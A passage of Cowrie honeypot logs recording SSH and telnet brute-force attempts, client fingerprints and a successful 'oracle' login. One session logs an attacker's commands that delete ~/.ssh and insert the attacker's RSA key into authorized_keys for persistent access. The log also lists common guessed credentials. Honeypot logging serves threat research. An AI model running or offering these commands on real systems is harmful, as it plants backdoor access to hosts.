-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:56.027828Z","src_ip":"173.249.6.197","session":"a8dbe32c6a46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3server","password":"123456","message":"login attempt [ts3server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:56.428489Z","src_ip":"173.249.6.197","session":"a8dbe32c6a46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":41612,"dst_ip":"159.203.135.109","dst_port":22,"session":"0fc170cf4c05","protocol":"ssh","message":"New connection: 221.139.88.149:41612 (159.203.135.109:22) [session: 0fc170cf4c05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:56.972208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:56.986629Z","src_ip":"221.139.88.149","session":"0fc170cf4c05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:57.168788Z","src_ip":"221.139.88.149","session":"0fc170cf4c05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:57.523472Z","src_ip":"173.249.6.197","session":"a8dbe32c6a46","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123$","message":"login attempt [oracle/oracle123$] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:57.989412Z","src_ip":"221.139.88.149","session":"0fc170cf4c05","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:58.476413Z","src_ip":"221.139.88.149","session":"0fc170cf4c05","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:58.480223Z","src_ip":"221.139.88.149","session":"0fc170cf4c05","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:58.484558Z","src_ip":"221.139.88.149","session":"0fc170cf4c05","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:58.755283Z","src_ip":"221.139.88.149","session":"0fc170cf4c05","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:59.193383Z","src_ip":"221.139.88.149","session":"0fc170cf4c05","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:59.196562Z","src_ip":"221.139.88.149","session":"0fc170cf4c05","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:59.388847Z","src_ip":"221.139.88.149","session":"0fc170cf4c05","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:59.393293Z","src_ip":"221.139.88.149","session":"0fc170cf4c05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":42338,"dst_ip":"159.203.135.109","dst_port":22,"session":"c31f67f86737","protocol":"ssh","message":"New connection: 221.139.88.149:42338 (159.203.135.109:22) [session: c31f67f86737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:59.581128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:59.586634Z","src_ip":"221.139.88.149","session":"c31f67f86737","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:59.804311Z","src_ip":"221.139.88.149","session":"c31f67f86737","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:44:00.652255Z","src_ip":"221.139.88.149","session":"c31f67f86737","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:44:01.857844Z","src_ip":"221.139.88.149","session":"c31f67f86737","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":43026,"dst_ip":"159.203.135.109","dst_port":22,"session":"34b440aa4426","protocol":"ssh","message":"New connection: 221.139.88.149:43026 (159.203.135.109:22) [session: 34b440aa4426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:44:02.131191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:44:02.143046Z","src_ip":"221.139.88.149","session":"34b440aa4426","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:44:02.336466Z","src_ip":"221.139.88.149","session":"34b440aa4426","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:44:03.202368Z","src_ip":"221.139.88.149","session":"34b440aa4426","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:44:03.388839Z","src_ip":"221.139.88.149","session":"0fc170cf4c05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:44:03.442611Z","src_ip":"221.139.88.149","session":"34b440aa4426","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"164.160.145.128","src_port":42504,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6b77e4f7ace","protocol":"telnet","message":"New connection: 164.160.145.128:42504 (159.203.135.109:23) [session: c6b77e4f7ace]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:44:06.820531Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":49876,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d33ac99e5eb","protocol":"ssh","message":"New connection: 31.59.89.180:49876 (159.203.135.109:22) [session: 3d33ac99e5eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:44:10.546131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:44:10.550611Z","src_ip":"31.59.89.180","session":"3d33ac99e5eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:44:10.658833Z","src_ip":"31.59.89.180","session":"3d33ac99e5eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"testtest","message":"login attempt [tester/testtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:44:11.124013Z","src_ip":"31.59.89.180","session":"3d33ac99e5eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:44:12.234661Z","src_ip":"31.59.89.180","session":"3d33ac99e5eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.30118989944458,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:44:20.121594Z","src_ip":"164.160.145.128","session":"c6b77e4f7ace","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.216.119.134","src_port":56286,"dst_ip":"10.17.0.5","dst_port":22,"session":"74f80b822d50","protocol":"ssh","message":"New connection: 185.216.119.134:56286 (10.17.0.5:22) [session: 74f80b822d50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:44:21.571834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:44:21.588361Z","src_ip":"185.216.119.134","session":"74f80b822d50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:44:22.340431Z","src_ip":"185.216.119.134","session":"74f80b822d50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd.1234","message":"login attempt [root/asd.1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:44:23.820453Z","src_ip":"185.216.119.134","session":"74f80b822d50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:44:25.048334Z","src_ip":"185.216.119.134","session":"74f80b822d50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57740,"dst_ip":"159.203.135.109","dst_port":22,"session":"06e7afcbe8e4","protocol":"ssh","message":"New connection: 159.203.92.129:57740 (159.203.135.109:22) [session: 06e7afcbe8e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:44:37.014262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:44:37.037736Z","src_ip":"159.203.92.129","session":"06e7afcbe8e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:44:37.042037Z","src_ip":"159.203.92.129","session":"06e7afcbe8e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Yingjunbiao","password":"Yingjunbiao","message":"login attempt [Yingjunbiao/Yingjunbiao] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:44:37.100418Z","src_ip":"159.203.92.129","session":"06e7afcbe8e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:44:38.111003Z","src_ip":"159.203.92.129","session":"06e7afcbe8e4","protocol":"ssh"}
